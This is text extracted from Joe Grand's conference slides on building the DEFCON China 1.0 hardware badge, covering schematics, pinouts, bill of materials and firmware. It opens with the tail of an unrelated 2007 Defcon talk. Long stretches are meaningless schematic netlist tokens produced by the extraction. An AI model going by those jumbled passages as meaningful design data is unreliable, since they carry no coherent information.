www.faqs.org/rfcs/rfc826.html
•
...
34
Defcon 15
Las Vegas, NV August 2007
Jesse D’Aguanno
(c) Copyright 2007 Praetorian Global, LLC
Questions?
• Thanks!
•
Comments: [email protected]
35 | pdf |
CREATING THE DEFCON CHINA 1.0 BADGE
joe Grand aka kingpin
introduction / badge history
• bring community together through interactivity
• create game to encompass the defcon experience
• simple design that could be expanded during/after defcon
• interactive, command-based menu for additional exploration
goals
• complete tasks, get rewarded
• 4 roots and 4 branches, each with 4 leds
• when task is complete, badge inserted into programmer to
unlock LED
• when each root is complete, magic happens
• when all roots are complete, more magic happens
gameplay
early concepts
Prototyping
block diagram
DEFCON China 1.0 Badge Block Diagram
Document v1.0
May 17, 2019
Joe Grand, Grand Idea Studio, Inc.
I2C
MCU
ATmega328P
Arduino Mini
3.3V, 8MHz
Accelerometer
LIS3DH
USB
Host PC
USB Micro-B
LED x32
Serial-to-USB
FT231X
3
FPC Edge
Connector
12
4 + 4
LED Driver
74HC595
LDO
MCP1700
Power Switch
USB
5V
3.0V
Coin Cell
3V
DEFCON China 1.0 Badge Block Diagram
Document v1.0
May 17, 2019
Joe Grand, Grand Idea Studio, Inc.
I2C
MCU
ATmega328P
Arduino Mini
3.3V, 8MHz
Accelerometer
LIS3DH
USB
Host PC
USB Micro-B
LED x32
Serial-to-USB
FT231X
3
FPC Edge
Connector
12
4 + 4
LED Driver
74HC595
LDO
MCP1700
Power Switch
USB
5V
3.0V
Coin Cell
3V
Hardware
USB
POWER
LED
control
ACCELEROMETER
mcu
FPC
• First for conference badge
• new material (for us) opens up new risks/challenges
• specific stack-up to meet edge connector requirements
• MAJOR SUPPORT by electronic interconnect, adapt electronics
FLEXIBLE PRINTED CIRCUIT (FPC)
• edge connector as interface to the outside world
• UART, I2C, AVR ICSP
• used with programming shield to set/read state of badge leds
FLEXIBLE PRINTED CIRCUIT (FPC)
pin 1
pin 12
1. GND
2. SCK
3. MISO
4. MOSI
5. /RST
6. SDA
7. SCL
8. SIN
9. SOUT
10. /SENSE
11. GPIO
12. VCC
FLEXIBLE PRINTED CIRCUIT (FPC)
IT BENDS!
• test
• test
• test
Schematic
Programmed w/ FT_PROG
To Host
1
2
3
4
5
P2
TE 2173157-2
0.1uF
C9
USB Micro B
0.01uF
C3
220R@100MHz
L1
5V0_USB
RTS
2
DCD
8
RI
5
VCC
15
TXD
20
CTS
9
CBUS0
18
3V3OUT
13
DTR
1
RXD
4
CBUS1
17
DSR
7
USBDM
12
USBDP
11
VCCIO
3
RESET
14
GND
16
GND
6
CBUS2
10
CBUS3
19
U1
FT231XS
27
R4
27
R2
47pF
C4
47pF
C5
VUSB
D_N
D_P
TXRXLED#
PWREN#
BCD#
3.3k
R7
5V0_USB
D33
LED
10k
R9
0.1uF
C10
USB activity indicator
RESET
29
D0 (RXD)
30
D1 (TXD)
31
D2 (INT0)
32
D4
2
VCC
6
GND
5
XTAL1
7
XTAL2
8
D5
9
D6
10
D7
11
D8
12
D9
13
D10 (SS)
14
D11 (MOSI)
15
D12 (MISO)
16
D13 (SCK)
17
AVCC
18
AREF
20
GND
21
A0
23
A1
24
A2
25
A3
26
A4 (SDA)
27
A5 (SCL)
28
GND
3
VCC
4
A6
19
A7
22
D3 (INT1)
1
U2
ATmega328P-AU
0.1uF
C6
10k
R1
VCC
PWREN_2#
10k
R10
5V0_USB
5V0_SW
AVR_SIN
AVR_SOUT
AVR_RST#
DTR#
ADC2
15
GND
12
SDA/SDI/SDO
6
SDO/SA0
7
VDD_IO
1
ADC1
16
GND
5
RES
10
INT1
11
VDD
14
SCL/SPC
4
INT2
9
CS
8
ADC3
13
NC
2
NC
3
U3
LIS3DHTR
SCL
SDA
VCC
I2C address = 0x19
0.1uF
C12
10uF
C11
0.1uF
C1
0.1uF
C2
0.1uF
C7
VCC
0.1uF
C8
10uH
L2
VCC
VCC
0.1uF
C13
Q1
IRLML6402
LED_DATA
10k
R5
10k
R6
VCC VCC
SCL
SDA
ACCEL_INT
10k
R8
FLEX_SOUT
10k
R3
VCC
VCC
OSC1
1
GND
2
OSC2
3
Y1
PBRC8.00MR50X000
BCD#
PWREN#
LED_OE#
OE
13
LCLK
12
SDI
14
RST
10
SCLK
11
QA
15
QB
1
QC
2
QD
3
QE
4
QF
5
QG
6
QH
7
SDO
9
VDD
16
GND
8
U4
74HC595PW
LED_OE#
LED_DATA
LED_LATCH
LED_CLK
LED_LATCH
LED_CLK
D29
D30
D31
D32
D25
D26
D27
D28
D21
D22
D23
D24
D17
D18
D19
D20
D13
D14
D15
D16
D9
D10
D11
D12
D5
D6
D7
D8
D1
D2
D3
D4
Root 1
Root 2
Root 3
Root 4
Branch 1
Branch 2
Branch 3
Branch 4
47
R11
ROW0
ROW1
ROW2
COL0
COL1
COL2
COL3
COL4
COL5
COL6
COL7
ROW3
47
R12
47
R13
47
R14
COL0
COL1
COL2
COL3
COL4
COL5
COL6
COL7
ROW0
ROW1
ROW2
ROW3
SW1 SPST
FLEX_SIN
FLEX_SENSE#
MOSI
MISO
SCK
RST#
GPIO
AVR ICSP
SAO
Flex Cable Serial Interface
VCC
Mates to FCI HFW12S-2STE1LF
UART
1
2
3
4
5
6
7
8
9
10
11
12
P1
Header 12
GPIO
PIC101
PIC102
COC1
PIC201
PIC202
COC2
PIC301
PIC302
COC3
PIC401
PIC402
COC4
PIC501
PIC502
COC5
PIC601
PIC602
COC6
PIC701
PIC702
COC7
PIC801
PIC802
COC8
PIC901
PIC902
COC9
PIC1001
PIC1002
COC10
PIC1101
PIC1102
COC11
PIC1201
PIC1202
COC12
PIC1301
PIC1302
COC13
PID101
PID102
COD1
PID201
PID202
COD2
PID301
PID302
COD3
PID401
PID402
COD4
PID501
PID502
COD5
PID601
PID602
COD6
PID701
PID702
COD7
PID801
PID802
COD8
PID901
PID902
COD9
PID1001
PID1002
COD10
PID1101
PID1102
COD11
PID1201
PID1202
COD12
PID1301
PID1302
COD13
PID1401
PID1402
COD14
PID1501
PID1502
COD15
PID1601
PID1602
COD16
PID1701
PID1702
COD17
PID1801
PID1802
COD18
PID1901
PID1902
COD19
PID2001
PID2002
COD20
PID2101
PID2102
COD21
PID2201
PID2202
COD22
PID2301
PID2302
COD23
PID2401
PID2402
COD24
PID2501
PID2502
COD25
PID2601
PID2602
COD26
PID2701
PID2702
COD27
PID2801
PID2802
COD28
PID2901
PID2902
COD29
PID3001
PID3002
COD30
PID3101
PID3102
COD31
PID3201
PID3202
COD32
PID3301 PID3302
COD33
PIL101
PIL102
COL1
PIL201
PIL202
COL2
PIP101
PIP102
PIP103
PIP104
PIP105
PIP106
PIP107
PIP108
PIP109
PIP1010
PIP1011
PIP1012
COP1
PIP201
PIP202
PIP203
PIP204
PIP205
COP2
PIQ101
PIQ102
PIQ103
COQ1
PIR101
PIR102
COR1
PIR201
PIR202
COR2
PIR301
PIR302
COR3
PIR401
PIR402
COR4
PIR501
PIR502
COR5
PIR601
PIR602
COR6
PIR701
PIR702
COR7
PIR801
PIR802
COR8
PIR901
PIR902
COR9
PIR1001
PIR1002
COR10
PIR1101
PIR1102
COR11
PIR1201
PIR1202
COR12
PIR1301
PIR1302
COR13
PIR1401
PIR1402
COR14
PISW101
PISW102
COSW1
PIU101
PIU102
PIU103
PIU104
PIU105
PIU106
PIU107
PIU108
PIU109
PIU1010
PIU1011
PIU1012
PIU1013
PIU1014
PIU1015
PIU1016
PIU1017
PIU1018
PIU1019
PIU1020
COU1
PIU201
PIU202
PIU203
PIU204
PIU205
PIU206
PIU207
PIU208
PIU209
PIU2010
PIU2011
PIU2012
PIU2013
PIU2014
PIU2015
PIU2016
PIU2017
PIU2018
PIU2019
PIU2020
PIU2021
PIU2022
PIU2023
PIU2024
PIU2025
PIU2026
PIU2027
PIU2028
PIU2029
PIU2030
PIU2031
PIU2032
COU2
PIU301
PIU302
PIU303
PIU304
PIU305
PIU306
PIU307
PIU308
PIU309
PIU3010
PIU3011
PIU3012
PIU3013
PIU3014
PIU3015
PIU3016
COU3
PIU401
PIU402
PIU403
PIU404
PIU405
PIU406
PIU407
PIU408
PIU409
PIU4010
PIU4011
PIU4012
PIU4013
PIU4014
PIU4015
PIU4016
COU4
PIY101
PIY102
PIY103
COY1
PIQ103
PIC1002
PID3301
PIL102
PIQ102
PIR901
PIU1015
PIR801
PIU2032
PIU3011
NLACCEL0INT
PIC601
PIP105
PIR102
PISW102
PIU2029
PIU4010
NLAVR0RST#
PIU1020
PIU2030
NLAVR0SIN
PIU104
PIU2031
NLAVR0SOUT
PIU1019
PIU2023
NLBCD#
PID2901
PID3001
PID3101
PID3201
PIU4015
NLCOL0
PID2101
PID2201
PID2301
PID2401
PIU401
NLCOL1
PID1301
PID1401
PID1501
PID1601
PIU402
NLCOL2
PID501
PID601
PID701
PID801
PIU403
NLCOL3
PID101
PID201
PID301
PID401
PIU404
NLCOL4
PID901
PID1001
PID1101
PID1201
PIU405
NLCOL5
PID1701
PID1801
PID1901
PID2001
PIU406
NLCOL6
PID2501
PID2601
PID2701
PID2801
PIU407
NLCOL7
PIC402
PIP202
PIR201
NLD0N
PIC502
PIP203
PIR401
NLD0P
PIC602
PIU101 NLDTR#
PIP1010
PIR301
PIU201
NLFLEX0SENSE#
PIP108
PIU2013
NLFLEX0SIN
PIP109
PIU2012
NLFLEX0SOUT
PIC101
PIC201
PIC301
PIC401
PIC501
PIC701
PIC801
PIC901
PIC1102
PIC1201
PIC1302
PIP101
PIP205
PIR802
PISW101
PIU106
PIU1016
PIU203
PIU205
PIU2021
PIU305
PIU3010
PIU3012
PIU408
PIY102
PIP1011
PIU2011
NLGPIO
PIP102
PIU2017
PIU4011
NLLED0CLK
PIP104
PIU2015
PIU4014
NLLED0DATA
PIP103
PIU2016
PIU4012
NLLED0LATCH
PIU2014
PIU4013
NLLED0OE#
PIC702
PIU2020
PIC802
PIL201
PIU2018
PIC902
PIU103
PIU1013
PIU1014
PIC1001
PIQ101
PIR1001
PID102
PID502
PID902
PID1302
PID1702
PID2102
PID2502
PID2902
PIR1102
PID202
PID602
PID1002
PID1402
PID1802
PID2202
PID2602
PID3002
PIR1202
PID302
PID702
PID1102
PID1502
PID1902
PID2302
PID2702
PID3102
PIR1302
PID402
PID802
PID1202
PID1602
PID2002
PID2402
PID2802
PID3202
PIR1402
PID3302
PIR701
PIP204
PIR202
PIU1012
PIR402
PIU1011
PIU102
PIU105
PIU107
PIU108
PIU109
PIU207
PIY101
PIU208
PIY103
PIU2010
PIU2019
PIU2022
PIU302
PIU303
PIU309
PIU3013
PIU3015
PIU3016
PIU409
PIU1018
PIU2024
NLPWREN#
PIR902
PIR1002
PIU1017
NLPWREN02#
PIR1101
PIU2025
NLROW0
PIR1201
PIU2026
NLROW1
PIR1301
PIU209
NLROW2
PIR1401
PIU202
NLROW3
PIP107
PIR502
PIU2028
PIU304
NLSCL
PIP106
PIR602
PIU2027
PIU306
NLSDA
PIR702
PIU1010
NLTXRXLED#
PIC102
PIC202
PIC1101
PIC1202
PIC1301
PIL202
PIP1012
PIR101
PIR302
PIR501
PIR601
PIU204
PIU206
PIU301
PIU307
PIU308
PIU3014
PIU4016
PIC302
PIL101
PIP201 NLVUSB
5V0_SW
3V0_SW
2.2uF
C14
2.2uF
C15
GND
1
VIN
2
VOUT
3
U5
MCP1700T-3002E/MB
250mA maximum output current
VBATT
CR2032, 3V @ 225mAh
BT1
BU-2032SM-JJ-G
USB / battery switch
3V0_SW
10k
R15
VBATT
VCC
Q3
IRLML6402
Q2
IRLML2502
5V0_SW
PIBT101
PIBT102
COBT1
PIC1401
PIC1402
COC14
PIC1501
PIC1502
COC15
PIQ201
PIQ202
PIQ203
COQ2
PIQ301
PIQ302
PIQ303
COQ3
PIR1501
PIR1502
COR15
PIU501
PIU502
PIU503
COU5
PIC1502
PIQ203
PIU503
PIC1402
PIQ202
PIQ301
PIR1502
PIU502
PIBT102
PIC1401
PIC1501
PIR1501
PIU501
PIBT101
PIQ303
PIQ201
PIQ302
USB INTERFACE
• allows for arduino programming and interactive mode
• FT231X USB-to-Serial UART
• entire usb protocol handled on-chip
• host will recognize as virtual serial device/com port
• mosfets for soft-start and power switchover
Programmed w/ FT_PROG
To Host
1
2
3
4
5
P2
TE 2173157-2
0.1uF
C9
USB Micro B
0.01uF
C3
220R@100MHz
L1
5V0_USB
RTS
2
DCD
8
RI
5
VCC
15
TXD
20
CTS
9
CBUS0
18
3V3OUT
13
DTR
1
RXD
4
CBUS1
17
DSR
7
USBDM
12
USBDP
11
VCCIO
3
RESET
14
GND
16
GND
6
CBUS2
10
CBUS3
19
U1
FT231XS
27
R4
27
R2
47pF
C4
47pF
C5
VUSB
D_N
D_P
TXRXLED#
PWREN#
BCD#
3.3k
R7
5V0_USB
D33
LED
10k
R9
0.1uF
C10
USB activity indicator
0.1uF
C6
VCC
PWREN_2#
10k
R10
5V0_USB
5V0_SW
DTR#
Q1
IRLML6402
PIC301
PIC302
COC3
PIC401
PIC402
COC4
PIC501
PIC502
COC5
PIC601
PIC602
COC6
PIC901
PIC902
COC9
PIC1001
PIC1002
COC10
PID3301 PID3302
COD33
PIL101
PIL102
COL1
PIP201
PIP202
PIP203
PIP204
PIP205
COP2
PIQ101
PIQ102
PIQ103
COQ1
PIR201
PIR202
COR2
PIR401
PIR402
COR4
PIR701
PIR702
COR7
PIR901
PIR902
COR9
PIR1001
PIR1002
COR10
PIU101
PIU102
PIU103
PIU104
PIU105
PIU106
PIU107
PIU108
PIU109
PIU1010
PIU1011
PIU1012
PIU1013
PIU1014
PIU1015
PIU1016
PIU1017
PIU1018
PIU1019
PIU1020
COU1
PIQ103
PIC1002
PID3301
PIL102
PIQ102
PIR901
PIU1015
PIC601
PIU1020
PIU104
PIU1019
PIC402
PIP202
PIR201
NLD0N
PIC502
PIP203
PIR401
NLD0P
PIC602
PIU101 NLDTR#
PIC301
PIC401
PIC501
PIC901
PIP205
PIU106
PIU1016
PIC902
PIU103
PIU1013
PIU1014
PIC1001
PIQ101
PIR1001
PID3302
PIR701
PIP204
PIR202
PIU1012
PIR402
PIU1011
PIU102
PIU105
PIU107
PIU108
PIU109
PIU1018
PIR902
PIR1002
PIU1017
NLPWREN02#
PIR702
PIU1010
NLTXRXLED#
PIC302
PIL101
PIP201 NLVUSB
USB / battery switch
3V0_SW
10k
R15
VBATT
VCC
Q3
IRLML6402
Q2
IRLML2502
5V0_SW
PIQ201
PIQ202
PIQ203
COQ2
PIQ301
PIQ302
PIQ303
COQ3
PIR1501
PIR1502
COR15
PIQ203
PIQ202
PIQ301
PIR1502
PIR1501
PIQ303
PIQ201
PIQ302
led matrix
• multiplexing via led matrix library
• row controlled by discrete i/O
• column controlled through 74hc595 shift register
• refresh @ 175hz to reduce flicker
• each led individually addressable, dimmable (16 levels)
Programmed w/ FT_PROG
0.1uF
10k
R9
0.1uF
C10
10k
R10
VCC
0.1uF
C13
Q1
IRLML6402
LED_DATA
LED_OE#
OE
13
LCLK
12
SDI
14
RST
10
SCLK
11
QA
15
QB
1
QC
2
QD
3
QE
4
QF
5
QG
6
QH
7
SDO
9
VDD
16
GND
8
U4
74HC595PW
LED_OE#
LED_DATA
LED_LATCH
LED_CLK
LED_LATCH
LED_CLK
D29
D30
D31
D32
D25
D26
D27
D28
D21
D22
D23
D24
D17
D18
D19
D20
D13
D14
D15
D16
D9
D10
D11
D12
D5
D6
D7
D8
D1
D2
D3
D4
Root 1
Root 2
Root 3
Root 4
Branch 1
Branch 2
Branch 3
Branch 4
47
R11
ROW0
ROW1
ROW2
COL0
COL1
COL2
COL3
COL4
COL5
COL6
COL7
ROW3
47
R12
47
R13
47
R14
COL0
COL1
COL2
COL3
COL4
COL5
COL6
COL7
PIC901
PIC1001
PIC1002
COC10
PIC1301
PIC1302
COC13
PID101
PID102
COD1
PID201
PID202
COD2
PID301
PID302
COD3
PID401
PID402
COD4
PID501
PID502
COD5
PID601
PID602
COD6
PID701
PID702
COD7
PID801
PID802
COD8
PID901
PID902
COD9
PID1001
PID1002
COD10
PID1101
PID1102
COD11
PID1201
PID1202
COD12
PID1301
PID1302
COD13
PID1401
PID1402
COD14
PID1501
PID1502
COD15
PID1601
PID1602
COD16
PID1701
PID1702
COD17
PID1801
PID1802
COD18
PID1901
PID1902
COD19
PID2001
PID2002
COD20
PID2101
PID2102
COD21
PID2201
PID2202
COD22
PID2301
PID2302
COD23
PID2401
PID2402
COD24
PID2501
PID2502
COD25
PID2601
PID2602
COD26
PID2701
PID2702
COD27
PID2801
PID2802
COD28
PID2901
PID2902
COD29
PID3001
PID3002
COD30
PID3101
PID3102
COD31
PID3201
PID3202
COD32
PIQ101
PIQ102
PIQ103
COQ1
PIR901
PIR902
COR9
PIR1001
PIR1002
COR10
PIR1101
PIR1102
COR11
PIR1201
PIR1202
COR12
PIR1301
PIR1302
COR13
PIR1401
PIR1402
COR14
PIU401
PIU402
PIU403
PIU404
PIU405
PIU406
PIU407
PIU408
PIU409
PIU4010
PIU4011
PIU4012
PIU4013
PIU4014
PIU4015
PIU4016
COU4
PIQ103
PIC1002
PIQ102
PIR901
PIU4010
PID2901
PID3001
PID3101
PID3201
PIU4015
NLCOL0
PID2101
PID2201
PID2301
PID2401
PIU401
NLCOL1
PID1301
PID1401
PID1501
PID1601
PIU402
NLCOL2
PID501
PID601
PID701
PID801
PIU403
NLCOL3
PID101
PID201
PID301
PID401
PIU404
NLCOL4
PID901
PID1001
PID1101
PID1201
PIU405
NLCOL5
PID1701
PID1801
PID1901
PID2001
PIU406
NLCOL6
PID2501
PID2601
PID2701
PID2801
PIU407
NLCOL7
PIC901
PIC1302
PIU408
PIU4011
NLLED0CLK
PIU4014
NLLED0DATA
PIU4012
NLLED0LATCH
PIU4013
NLLED0OE#
PIC1001
PIQ101
PIR1001
PID102
PID502
PID902
PID1302
PID1702
PID2102
PID2502
PID2902
PIR1102
PID202
PID602
PID1002
PID1402
PID1802
PID2202
PID2602
PID3002
PIR1202
PID302
PID702
PID1102
PID1502
PID1902
PID2302
PID2702
PID3102
PIR1302
PID402
PID802
PID1202
PID1602
PID2002
PID2402
PID2802
PID3202
PIR1402
PIU409
PIR902
PIR1002
PIR1101
PIR1201
PIR1301
PIR1401
PIC1301
PIU4016
accelerometer
• ST microelectronics LIS3DH
• 3-axis digital output (i2c/SPI)
• +/- 2, 4, 8, 16g range
• interrupt on motion or free fall
• used to preserve battery life
• sleep mode @ 10 seconds of inactivity
• Raw values available through
interactive mode
ADC2
15
GND
12
SDA/SDI/SDO
6
SDO/SA0
7
VDD_IO
1
ADC1
16
GND
5
RES
10
INT1
11
VDD
14
SCL/SPC
4
INT2
9
CS
8
ADC3
13
NC
2
NC
3
U3
LIS3DHTR
VCC
I2C address = 0x19
0.1uF
C12
10uF
C11
0.1uF
C8
10uH
L2
10k
R5
10k
R6
VCC VCC
10k
R8
VCC
PIC801
PIC802
COC8
PIC1101
PIC1102
COC11
PIC1201
PIC1202
COC12
COL2
PIR501
PIR502
COR5
PIR601
PIR602
COR6
PIR801
PIR802
COR8
PIU301
PIU302
PIU303
PIU304
PIU305
PIU306
PIU307
PIU308
PIU309
PIU3010
PIU3011
PIU3012
PIU3013
PIU3014
PIU3015
PIU3016
COU3
PIR801
PIU3011
PIC801
PIC1102
PIC1201
PIR802
PIU305
PIU3010
PIU3012
PIC802
PIU302
PIU303
PIU309
PIU3013
PIU3015
PIU3016
PIR502
PIU304
PIR602
PIU306
PIC1101
PIC1202
PIR501
PIR601
PIU301
PIU307
PIU308
PIU3014
bill-of-materials
DEFCON China 1.0 Circuit Board Badge
Bill-of-Materials
Document Version 1.0, April 15, 2019
Notes:
1) Do Not Populate: P1
Item
Quantity Reference
Manufacturer
Manuf. Part #
Distributor
Distrib. Part #
Description
1
1
BT1
MPD
BU2032SM-JJ-GTR
N/A
N/A
Battery Holder, CR2032, SMD
1b
1
N/A
Panasonic
CR2032
Digi-Key
P189-ND
Battery, Coin Cell, Lithium, 3V, 225mAh
2
9
C1, C2, C6, C7, C8, C9, C10,
C12, C13
Kemet
C0603C104K4RACTU
Digi-Key
399-1096-2-ND
Capacitor, 0.1uF, 16V, Ceramic, 10%, X7R, 0603
3
1
C3
Samsung
CL10B103KB8NCNC
Digi-Key
1276-1921-2-ND
Capacitor, 0.01uF, 50V, Ceramic, 10%, X7R, 0603
4
2
C4, C5
AVX
06035A470JAT2A
Digi-Key
478-1171-2-ND
Capacitor, 47pF, 50V, Ceramic, 5%, C0G/NP0, 0603
5
1
C11
Kemet
T491A106M016AT
Digi-Key
399-3687-2-ND
Capacitor, 10uF, 16V, Tantalum, 20%, Size A
6
2
C14, C15
Taiyo Yuden
TMK212B7225KG-TR
Digi-Key
587-2991-2-ND
Capacitor, 2.2uF, 25V, Ceramic, 10%, X7R, 0805
7
4
D1, D9, D17, D25
Kingbright
AA3528SYCKT09
N/A
N/A
LED, Yellow, 250mcd, 2.0Vf, 590nm, Reverse Mount, PLCC-2
8
4
D2, D10, D18, D26
Kingbright
AA3528SECKT09
N/A
N/A
LED, Orange, 350mcd, 2.1Vf, 605nm, Reverse Mount, PLCC-2
9
8
D3, D4, D11, D12, D19, D20,
D27, D28
Kingbright
AA3528SURCKT09
N/A
N/A
LED, Red, 350mcd, 1.95Vf, 630nm, Reverse Mount, PLCC-2
10
16
D5, D6, D7, D8, D13, D14,
D15, D16, D21, D22, D23,
D24, D29, D30, D31, D32
Kingbright
AA3528CGCKT09
N/A
N/A
LED, Green, 100mcd, 2.1Vf, 570nm, Reverse Mount, PLCC-2
11
1
D33
Kingbright
APT1608LQWF/D
N/A
N/A
LED, White, 35mcd, 2.65Vf, 0603
12
1
L1
TDK
MPZ2012S221AT000
Digi-Key
445-1568-2-ND
Inductor, Ferrite Bead, 220R @ 100MHz, 3A, 0805
13
1
L2
Taiyo Yuden
LBMF1608T100K
Digi-Key
587-1714-2-ND
Inductor, Wirewound, 10uH, 10%, 360mR, 80mA, 0603
14
1
P2
TE Connectivity
2173157-2
Verical
N/A
Connector, Micro-USB Type B, R/A, 5 position, SMD
15
2
Q1, Q3
Infineon
IRLML6402TRPBF
Digi-Key
IRLML6402PBFTR-ND
Transistor, MOSFET, P-Channel, 20V, 65mR @ 3.7A, SOT23
16
1
Q2
Infineon
IRLML2502TRPBF
Digi-Key
IRLML2502TRPBFTR-ND
Transistor, MOSFET, N-Channel, 20V, 45mR @ 4.2A, SOT23
17
8
R1, R3, R5, R6, R8, R9, R10,
R15
Panasonic
ERJ-3GEYJ103V
Digi-Key
P10KGTR-ND
Resistor, 10k, 5%, 1/10W, 0603
18
2
R2, R4
Panasonic
ERJ-3GEYJ270V
Digi-Key
P27GTR-ND
Resistor, 27 ohm, 5%, 1/10W, 0603
19
1
R7
Panasonic
ERJ-3GEYJ332V
Digi-Key
P3.3KGTR-ND
Resistor, 3.3k, 5%, 1/10W, 0603
20
4
R11, R12, R13, R14
Panasonic
ERJ-3GEYJ470V
Digi-Key
P47GTR-ND
Resistor, 47 ohm, 5%, 1/10W, 0603
21
1
SW1
Panasonic
EVP-AA202K
Digi-Key
P13348SDKR-ND
Switch, SPST, Tactile Momentary, 160gf, 3.5 x 2.9mm, J-Lead
22
1
U1
FTDI
FT231XS-R
Digi-Key
768-1129-2-ND
IC, USB-to-UART Bridge, SSOP20
23
1
U2
Microchip
ATMEGA328P-AU
N/A
N/A
IC, Microcontroller, 32KB Flash, TQFP32
23b
1
N/A
Microchip
N/A
N/A
N/A
IC, Microcontroller, Programming
24
1
U3
STMicroelectronics
LIS3DHTR
Digi-Key
497-10613-6-ND
IC, Accelerometer, 3-Axis, 2-16g, LGA16
25
1
U4
Nexperia
74HC595PW,118
Digi-Key
1727-3068-2-ND
IC, Shift Register, 8-bit, TSSOP16
26
1
U5
Microchip
MCP1700T-3002E/MB
Digi-Key
MCP1700T-3002E/MBCT-ND
Voltage Regulator, LDO, 3.0V, 250mA, SOT89-3
27
1
Y1
Kyocera
PBRC8.00MR50X000
Mouser
581-PBRC8.00MR50X
Resonator, 8MHz, 0.5%, Internal 15pF Capacitor, SMD
28
1
PCB
Electronic Interconnect
DCN1.0
N/A
N/A
PCB Fabrication, Assembly, Test
• ARDUINO
• open source platform based on easy-to-use hw/sw/FW
• worldwide community of users/contributors
• 90% of FLash (27.6kB), 43% of RAM (887 bytes)
• loop
• set power state (battery, usb, usb charger)
• check for/process interactive mode
• check for/process fpc communication
• update leds
• sleep until accelerometer interrupt
Firmware
• Third-party libraries to add functionality to arduino
• essential for rapid development
• some code modifications required during badge integration
• Low power
• https://github.com/rocketscream/Low-Power
• Adafruit_LIS3DH (ACCELEROMETER)
• https://github.com/adafruit/Adafruit_LIS3DH
• Adafruit_SENSOR (sensor abstraction layer)
• https://github.com/adafruit/Adafruit_Sensor
LIBRARIES
• led matrix (individually addressable, dimmable, shift register)
• https://github.com/marcmerlin/LED-Matrix
• ADAFRUIT-GFX-LIBRARY (Core graphics primitives)
• https://github.com/adafruit/Adafruit-GFX-
Library
• DIO2 (Fast digital i/O)
• www.codeproject.com/Articles/732646/Fast-
digital-I-O-for-Arduino
• Timerone (ENHANCED TIMer, PERIODIC INTERRUPTS)
• https://github.com/PaulStoffregen/TimerOne
LIBRARIES
• led matrix
• Add #define swap() to .cpp to prevent compiling error
• Remove #defines for DIO2 pinMode and digitalWrite
• conflicted with the rest of badge code
code modifications
FABRICATION
FABRICATION
FABRICATION
ASSEMBLY
ASSEMBLY
ASSEMBLY
• raspberry pi 3 model b+
• shell script to program ft231X and ATmega328P via usb
• power on self test
• visual inspection of leds
• detection of accelerometer
programming / testing
• Human (Attendee), black silkscreen: 2,784
• Goon, red: 156
• Speaker, blue: 50
• Village, blue: 90
• Sponsor, grey: 120
• Press, green: 100
• TOTAL: 3,300
numbers
(not production versions)
• mechanical stress
• reworking flex pcb
• time frame
CHALLENGES
battery life
• cr2032 3V lithium coin cell
• 225mah to 2V
• Power up, idle: 3.3mA
• all LEDs enabled: 10mA
• sleep mode: 4-6uA
• accelerometer to detect motion
• sleep mode @ 10 seconds of
inactivity
• access all fpc signals
• UART, I2C, AVR ICSP
• sao adapter
• http://oshpark.com/shared_projects/X4QDh3nj
FPC BREAKOUT BOARD
1
2
3
4
SCL
SDA
FLEX_SOUT
FLEX_SIN
GPIO
AVR ICSP
SAO
UART
1
2
3
4
5
6
7
8
9
10
11
12
P1
HFW12R-2STE1LF
1
2
3
4
P2
PPPC022LFBN-RC
SAO Interface
VCC
SDA
SCL
VCC
FLEX_SENSEa
RSTa
MOSI
MISO
SCK
https://hackaday.io/project/52950-shitty-add-ons
PIP101
PIP102
PIP103
PIP104
PIP105
PIP106
PIP107
PIP108
PIP109
PIP1010
PIP1011
PIP1012
COP1
PIP201
PIP202
PIP203
PIP204
COP2
PITP101
COTP1
PITP201
COTP2
PITP301
COTP3
PITP401
COTP4
PITP501
COTP5
PITP601
COTP6
PITP701
COTP7
PITP801
COTP8
PITP901
COTP9
PITP1001
COTP10
PIP1010
PITP301
NLFLEX0SENSE#
PIP108
PITP501
NLFLEX0SIN
PIP109
PITP401
NLFLEX0SOUT
PIP101
PIP203
PITP1001
PIP1011
PITP201
NLGPIO
PIP103
PITP801
NLMISO
PIP104
PITP701
NLMOSI
PIP105
PITP601
NLRST#
PIP102
PITP901
NLSCK
PIP107
PIP204
NLSCL
PIP106
PIP202
NLSDA
PIP1012
PIP201
PITP101
• serial communication via fpc
• set/clear individual led
• read state of badge
• arduino w/ custom shield
• txs0104 level translator
• 5v arduino <-> 3v badge
• dip switches
• i2c, avr icsp footprints
• http://oshpark.com/shared_projects/WGHZCahO
programming shield
programming shield
Status Indicator
IO0
IO1
IO2
IO3
IO4
IO5
IO6
IO7
MISO
SCK
RSTa
MOSI
AD0
1
AD1
2
AD2
3
AD3
4
AD4
5
AD5
6
P1
SSQ-106-03-G-S
IO0
1
IO2
3
IO3
4
IO4
5
IO5
6
IO6
7
IO7
8
IO1
2
P4
SSQ-108-03-G-S
MISO
1
VTG
2
SCK
3
MOSI
4
RESET
5
GND
6
P6
67997-206HLF
FLEX_SCL
FLEX_SDA
FLEX_SOUT
FLEX_SIN
MOSI
MISO
SCK
RSTa
GPIO
AVR ICSP
SAO
UART
1
2
3
4
5
6
7
8
9
10
11
12
P3
HFW12S-2STE1LF
VIO
1
2
3
4
5
6
12
11
10
9
8
7
SW1
218-6LPST
1
2
3
4
P5
DNP
SAO Interface
Mates to FCI 67997-204HLF (Male)
or TE 5-534206-2 (Female)
VIO
FLEX_SDA
FLEX_SCL
AVR ICSP Interface
BADGE_VCC
3
4
D1B
APB3025ESGC-F01
470
R2
470
R3
1
2
D1A
APB3025ESGC-F01
Red
Green
LEDG
LEDR
AD0
AD1
AD2
AD3
AD4
AD5
IO8
IO9
IO10
IO11
IO12
IO13
GND
AREF
SDA
SCL
IO8
1
IO9
2
IO10
3
IO11
4
IO12
5
IO13
6
GND
7
AREF
8
SDA
9
SCL
10
P2
SSQ-110-03-G-S
AVR_SENSE
1M
R4
VCCA
1
A2
3
A3
4
A1
2
A4
5
NC
6
OE
8
GND
7
NC
9
B4
10
B3
11
B2
12
VCCB
14
B1
13
U1
TXS0104EDR
10k
R1
VCCA <= VCCB
VCCA range: 1.2V to 3.6V
VCCB range: 1.7V to 5.5V
VCC
VIO
VIO
FLEX_SENSEa
PID101
PID102
COD1A
PID103
PID104
COD1B
PIP101
PIP102
PIP103
PIP104
PIP105
PIP106
COP1
PIP201
PIP202
PIP203
PIP204
PIP205
PIP206
PIP207
PIP208
PIP209
PIP2010
COP2
PIP301
PIP302
PIP303
PIP304
PIP305
PIP306
PIP307
PIP308
PIP309
PIP3010
PIP3011
PIP3012
COP3
PIP401
PIP402
PIP403
PIP404
PIP405
PIP406
PIP407
PIP408
